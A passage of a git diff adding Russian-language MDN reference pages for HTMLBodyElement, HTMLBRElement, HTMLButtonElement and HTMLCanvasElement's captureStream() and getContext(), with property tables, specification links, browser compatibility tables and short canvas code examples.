+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onXYZ</code> обработчики событий</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlangugage</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox до версии Firefox 7.0 и некоторые старые версии Opera возвращают URI для атрибута <code>HTMLBodyElement.background</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{ HTMLElement("body") }}</li>
+</ul>
diff --git a/files/ru/web/api/htmlbrelement/index.html b/files/ru/web/api/htmlbrelement/index.html
new file mode 100644
index 0000000000..a8f4efad48
--- /dev/null
+++ b/files/ru/web/api/htmlbrelement/index.html
@@ -0,0 +1,125 @@
+---
+title: HTMLBRElement
+slug: Web/API/HTMLBRElement
+translation_of: Web/API/HTMLBRElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div> </div>
+
+<p><strong><code>HTMLBRElement</code></strong> интерфейс представляющий HTML элемент линии разрыва ({{htmlelement("br")}}). Это унаследовано от {{domxref("HTMLElement")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>clear</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Отображает поток текста, вокруг обтекаемого объекта.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специфичных методов; </em><em>наследует методы от его родителя, {{domxref("HTMLElement")}}</em>.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-br-element", "HTMLBRElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилась с {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-br-element", "HTMLBRElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Не изменилась с {{SpecName("DOM2 HTML")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-56836063', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не изменилась с  {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-56836063', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{HTMLElement("br")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlbuttonelement/index.html b/files/ru/web/api/htmlbuttonelement/index.html
new file mode 100644
index 0000000000..8e9999b2ff
--- /dev/null
+++ b/files/ru/web/api/htmlbuttonelement/index.html
@@ -0,0 +1,308 @@
+---
+title: HTMLButtonElement
+slug: Web/API/HTMLButtonElement
+translation_of: Web/API/HTMLButtonElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Интерфейс HTMLButtonElement предоставляет свойства и методы для управления элементами {{HTMLElement("button")}} (помимо обычного интерфейса {{domxref("HTMLElement")}}, он также доступен - по наследованию) .</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>accessKey</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Определенная кнопка клавиатуры, дающая доступ к кнопке.</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Управление должно получить фокус ввода при загрузки страницы, пока пользователь не отменяет его, например, набирая на клавиатуре в другом контроле. Только один формо-ассоциированный элемент в документе может иметь указанный атрибут.</td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Контроль выключен, что означает, он не принимает любых кликов.</td>
+  </tr>
+  <tr>
+   <td><code>form</code> {{readonlyInline}}</td>
+   <td>{{domxref("HTMLFormElement")}}</td>
+   <td>Форма этой кнопки связана с ней. Если кнопка потомок элемента формы, то этот атрибут ID этого элемента формы.<br>
+    Если форма не связана с формой элемента, то атрибут может быть ID любой формы элемента в том же документе<code>, или значение null</code> если нет совпадений.</td>
+  </tr>
+  <tr>
+   <td><code>formAction</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>URI ресурса, обрабатывающего информацию, отправленную кнопкой. Если задан, то переопределяет {{htmlattrxref("action", "form")}} атрибут {{HTMLElement("form")}} элемента, который является его владельцем.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>formEncType</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип содержимого, используемый для отправки формы на серевер. Если указан этот атрибут, то он переопределяет {{htmlattrxref("enctype", "form")}} атрибут элемента {{HTMLElement("form")}}, который является владельцем этого элемента.</td>
+  </tr>
+  <tr>
+   <td><code>formMethod</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>HTTP метод, который браузер использует для отправки формы. Если задан, тогда он  переопределяет {{htmlattrxref("method", "form")}} атрибут {{HTMLElement("form")}} своего владельца.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>formNoValidate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>
+    <p>Показывает что форма не будет проверена при отправке. Если задано, тогда переопределяет {{htmlattrxref("novalidate", "form")}} атрибут {{HTMLElement("form")}} своего владельца.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>formTarget</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Имя или ключевое слово, указывающее, где должен отображаться ответ, полученный после отправки формы. Если задано, тогда  переопределяет {{htmlattrxref("target", "form")}} атрибут {{HTMLElement("form")}} своего владельца.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>labels</code> {{readonlyInline}}</td>
+   <td>{{domxref("NodeList")}}</td>
+   <td>Список элементов {{HTMLElement("label")}}, которые являются метками для этой кнопки.</td>
+  </tr>
+  <tr>
+   <td><code>menu</code> {{experimental_inline}}</td>
+   <td>{{domxref("HTMLMenuElement")}}</td>
+   <td>Элемент меню, который будет отображаться, если кнопка нажата и имеет тип <code>type="menu"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Имя объекта отправляемое с формой. {{HTMLVersionInline(5)}}Если задано, не должно быть пустой строкой.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>tabIndex</code></td>
+   <td>long</td>
+   <td>
+    <p>Номер, представляющий последовательность перехода между полями при нажатии на Tab</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Указывает поведение кнопки. Это перечисляемый атрибут со следующими возможными значениями:</p>
+
+    <ul>
+     <li><code>"submit"</code>: Кнопка отправки формы. Это значение по умолчанию, если атрибут не определен, {{HTMLVersionInline(5)}} или если он динамически изменяется на пустое или недопустимое значение.</li>
+     <li><code>"reset"</code>: Кнопка сброса формы.</li>
+     <li><code>"button"</code>: Кнопка с неопределенным действием.</li>
+     <li><code>"menu"</code>:  Кнопка показывающая меню (экспериментальная). {{experimental_inline}}</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>validationMessage</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>A localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is <code>false</code>), or it satisfies its constraints.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>validity</code> {{readonlyInline}}</td>
+   <td>{{domxref("ValidityState")}}</td>
+   <td>The validity states that this button is in.</td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The current form control value of the button.</td>
+  </tr>
+  <tr>
+   <td><code>willValidate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Indicates whether the button is a candidate for constraint validation. It is <code>false</code> if any conditions bar it from constraint validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Return Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>checkValidity()</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Not supported for button elements.</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity(in DOMString error)</code></td>
+   <td><code>void</code></td>
+   <td>Not supported for button elements.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>WIth Gecko-based browser, use the {{cssxref(":-moz-submit-invalid")}} pseudo-class to style submit buttons based on the validation of a form.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The following attribute has been added: <code>menu</code>.<br>
+    The <code>type</code> attribute can take one more value, <code>"menu"</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The attributes <code>tabindex</code> and <code>accesskey</code>, are now defined on {{domxref("HTMLElement")}}.<br>
+    The following attributes have been added: <code>autofocus</code>, <code>formAction</code>, <code>formEncType</code>, <code>formMethod</code>, <code>formNoValidate</code>, <code>formTarget</code>, <code>labels</code>, <code>validity</code>, <code>validationMessage</code>, and <code>willValidate</code>.<br>
+    The following methods have been added: <code>checkValidity()</code>, <code>setCustomValidity()</code>.<br>
+    The <code>type</code> attribute is no more read-only.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Form-related attributes</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} {{unimplemented_inline(556743)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>menu</code> &amp; <code>type="menu"</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Form-related attributes</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}{{unimplemented_inline(556743)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>menu</code> &amp; <code>type="menu"</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{ HTMLElement("button") }}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcanvaselement/capturestream/index.html b/files/ru/web/api/htmlcanvaselement/capturestream/index.html
new file mode 100644
index 0000000000..9240255f86
--- /dev/null
+++ b/files/ru/web/api/htmlcanvaselement/capturestream/index.html
@@ -0,0 +1,129 @@
+---
+title: HTMLCanvasElement.captureStream()
+slug: Web/API/HTMLCanvasElement/captureStream
+translation_of: Web/API/HTMLCanvasElement/captureStream
+---
+<div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>HTMLCanvasElement</strong></code><strong><code>.captureStream()</code></strong> метод возвращает {{domxref("CanvasCaptureMediaStream")}}, который является видеозахватчиком (оцифровщиком) в реальном времени на поверхности canvas.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><var>MediaStream</var> = <var>canvas</var>.captureStream(<var>frameRate</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>frameRate</code> {{optional_inline}}</dt>
+ <dd>Число двойной точности с плавающей точкой, указывающее частоту захвата каждого фрейма. Если не установлено, новый фрейм будет захватываться каждый раз, как canvas изменится; <code>если установлено в 0</code>, будет захвачен один фрейм.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Ссылка на {{domxref("MediaStream")}} объект.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><strong>NotSupportedError</strong></span></font></dt>
+ <dd>Параметр <code>frameRate</code> имеет отрицательное значение.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">// Поиск элемента canvas для захвата
+var canvasElt = document.querySelector("canvas");
+
+// Получение потока
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// Делать что-то с потоком
+// например, отправить что-то другому компьютеру, используя RTCPeerConnection
+//      pc это RTCPeerConnection, созданное где-то еще
+pc.addStream(stream);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatGeckoDesktop(43)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(36.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatGeckoMobile(43)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Firefox 41 and 42, this feature was disabled by default; set the preference <code>canvas.capturestream.enabled</code> to <code>true</code> to enable it.</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li>{{domxref("CanvasCaptureMediaStream")}}, the interface it belongs to.</li>
+ <li>{{domxref("HTMLMediaElement.captureStream()")}}, which allows capturing a stream from a media element.</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("Media Capture and Streams API")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcanvaselement/getcontext/index.html b/files/ru/web/api/htmlcanvaselement/getcontext/index.html
new file mode 100644
index 0000000000..3ac02908b7
--- /dev/null
+++ b/files/ru/web/api/htmlcanvaselement/getcontext/index.html
@@ -0,0 +1,270 @@
+---
+title: HTMLCanvasElement.getContext()
+slug: Web/API/HTMLCanvasElement/getContext
+translation_of: Web/API/HTMLCanvasElement/getContext
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>Метод <strong><code>HTMLCanvasElement.getContext()</code></strong> возвращает контекст рисования на холсте, или {{jsxref("null")}}, если идентификатор контекста не определен.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>canvas</em>.getContext(<em>contextType, contextAttributes</em>);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>contextType</dt>
+ <dd>{{domxref("DOMString")}}, содержащий идентификатор контекста, определяющий контекст рисования, связанный с холстом. Возможные значения:
+ <ul>
+  <li><code>"2d</code>", ведущий к созданию объекта {{domxref("CanvasRenderingContext2D")}}, представляющий двумерный контекст.</li>
+  <li><code>"webgl"</code> (или <code>"experimental-webgl"</code>), который будет создавать объект {{domxref("WebGLRenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} первой версии (OpenGL ES 2.0).</li>
+  <li>"<code>webgl2</code>" (или "<code>experimental-webgl2</code>"), который будет создавать объект {{domxref("WebGL2RenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} второй версии (OpenGL ES 3.0). {{experimental_inline}}</li>
+  <li><code>"bitmaprenderer",</code> который позволит создать {{domxref("ImageBitmapRenderingContext")}}, обеспечивающий только функции для замены содержимого холста с заданным {{domxref("ImageBitmap")}}.</li>
+ </ul>
+
+ <p>Примечание: Идентификаторы "<code>experimental-webgl</code>" или "<code>experimental-webgl2</code>" используются в новых реализациях WebGL. Эти реализации не достигли испытательного набора на соответствие или ситуация с графическими драйверами на платформе еще не стабильна The <a href="https://www.khronos.org/">Khronos Group</a> certifies WebGL implementations under certain <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">conformance rules</a>.</p>
+ </dd>
+ <dt><code>contextAttributes</code></dt>
+ <dd>
+ <p>Вы можете использовать несколько атрибутов контекста при создании контекста рендеринга, например:</p>
+
+ <pre class="brush: js">canvas.getContext("webgl",
+                 { antialias: false,
+                   depth: false });</pre>
+ 2d атрибуты контекста:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: Логическое значение, означающее, есть ли у холста альфа-канал. Значение <code>false</code> говорит браузеру, что фон холста непрозрачный, что может ускорить рисование прозрачного содержимого и изображений.</li>
+  <li>{{non-standard_inline}} (Gecko only) <strong><code>willReadFrequently</code></strong>: Boolean that indicates whether or not a lot of read-back operations are planned. This will force the use of a software (instead of hardware accelerated) 2D canvas and can save memory when calling {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} frequently. This option is only available, if the flag <code>gfx.canvas.willReadFrequently.enable</code> is set to <code>true</code> (which, by default, is only the case for B2G/Firefox OS).</li>
+  <li>{{non-standard_inline}} (Blink only) <strong><code>storage</code></strong>: String that indicates which storage is used ("persistent" by default).</li>
+ </ul>
+ Атрибуты контекста WebGL:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: Boolean that indicates if the canvas contains an alpha buffer.</li>
+  <li><strong><code>depth</code></strong>: Boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits.</li>
+  <li><strong><code>stencil</code></strong>: Boolean that indicates that the drawing buffer has a stencil buffer of at least 8 bits.</li>
+  <li><strong><code>antialias</code></strong>: Boolean that indicates whether or not to perform anti-aliasing.</li>
+  <li><strong><code>premultipliedAlpha</code></strong>: Boolean that indicates that the page compositor will assume the drawing buffer contains colors with pre-multiplied alpha.</li>
+  <li><strong><code>preserveDrawingBuffer</code></strong>: If the value is true the buffers will not be cleared and will preserve their values until cleared or overwritten by the author.</li>
+  <li>
+   <p><code><strong>failIfMajorPerformanceCaveat</strong></code>: Boolean that indicates if a context will be created if the system performance is low.</p>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("RenderingContext")}}, который представляет собой</p>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}} для <code>"2d"</code>,</li>
+ <li>{{domxref("WebGLRenderingContext")}} для <code>"webgl"</code> и <code>"experimental-webgl"</code>,</li>
+ <li>{{domxref("WebGL2RenderingContext")}} для <code>"webgl2"</code> и <code>"experimental-webgl2"</code>, или</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}} для <code>"bitmaprenderer"</code>.</li>
+</ul>
+
+<p>Если contextType не соответствует возможному контексту рисунка, то возвращается null.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Given this {{HTMLElement("canvas")}} element:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>You can get a <code>2d</code> context of the canvas with the following code:</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+console.log(ctx); // CanvasRenderingContext2D { ... }
+</pre>
+
+<p>Now you have the <a href="/en-US/docs/Web/API/CanvasRenderingContext2D">2D rendering context</a> for a canvas and you can draw within it.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2d</code> context)</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatOpera(9)}}</td>
+   <td>{{CompatSafari(3.1)}}</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatChrome(9)}}<sup>[1]</sup><br>
+    {{CompatChrome(33)}}</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop('24')}}</td>
+   <td>11.0<sup>[2]</sup></td>
+   <td>9.0<sup>[3]</sup></td>
+   <td>5.1<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>webgl2</code> context {{experimental_inline}}</td>
